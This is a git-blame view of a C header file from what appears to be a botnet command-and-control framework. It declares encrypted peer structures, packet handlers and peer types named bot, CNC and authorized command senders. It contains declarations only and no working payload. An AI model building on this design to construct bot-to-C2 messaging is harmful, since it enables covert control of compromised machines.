2022-01-24 03:28:16 +00:00
|
|
|
#ifndef LAIKA_PEER_H
|
|
|
|
#define LAIKA_PEER_H
|
|
|
|
|
|
|
|
#include "laika.h"
|
|
|
|
#include "lsocket.h"
|
|
|
|
#include "lpacket.h"
|
|
|
|
#include "lpolllist.h"
|
2022-01-28 01:55:28 +00:00
|
|
|
#include "lrsa.h"
|
2022-01-24 03:28:16 +00:00
|
|
|
|
2022-01-27 19:36:36 +00:00
|
|
|
typedef enum {
|
2022-01-31 19:27:12 +00:00
|
|
|
PEER_UNVERIFIED,
|
2022-01-27 19:36:36 +00:00
|
|
|
PEER_BOT,
|
|
|
|
PEER_CNC, /* cnc 2 cnc communication */
|
|
|
|
PEER_AUTH /* authorized peers can send commands to cnc */
|
|
|
|
} PEERTYPE;
|
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
struct sLaika_peer;
|
|
|
|
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
|
|
|
|
2022-01-24 03:28:16 +00:00
|
|
|
struct sLaika_peer {
|
2022-01-25 02:50:14 +00:00
|
|
|
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
2022-01-28 01:55:28 +00:00
|
|
|
uint8_t peerPub[crypto_box_PUBLICKEYBYTES]; /* key to encrypt outgoing packets */
|
2022-01-24 03:28:16 +00:00
|
|
|
struct sLaika_pollList *pList; /* pollList we're active in */
|
2022-01-31 01:10:10 +00:00
|
|
|
PeerPktHandler *handlers;
|
2022-01-25 19:53:17 +00:00
|
|
|
LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */
|
2022-01-31 01:10:10 +00:00
|
|
|
uint8_t *priv; /* key to decrypt incoming packets */
|
|
|
|
uint8_t *pub; /* pub key matching to priv */
|
|
|
|
void *uData; /* data to be passed to pktHandler */
|
2022-01-25 19:53:17 +00:00
|
|
|
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
|
|
|
LAIKAPKT_ID pktID; /* current pkt ID */
|
2022-01-27 19:36:36 +00:00
|
|
|
PEERTYPE type;
|
2022-01-25 02:50:14 +00:00
|
|
|
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
|
2022-01-24 03:28:16 +00:00
|
|
|
};
|
|
|
|
|
2022-01-31 01:10:10 +00:00
|
|
|
struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
|
2022-01-24 03:28:16 +00:00
|
|
|
void laikaS_freePeer(struct sLaika_peer *peer);
|
|
|
|
|
2022-01-28 01:55:28 +00:00
|
|
|
void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub);
|
|
|
|
|
2022-01-24 03:28:16 +00:00
|
|
|
bool laikaS_handlePeerIn(struct sLaika_peer *peer);
|
|
|
|
bool laikaS_handlePeerOut(struct sLaika_peer *peer);
|
|
|
|
|
|
|
|
#endif
|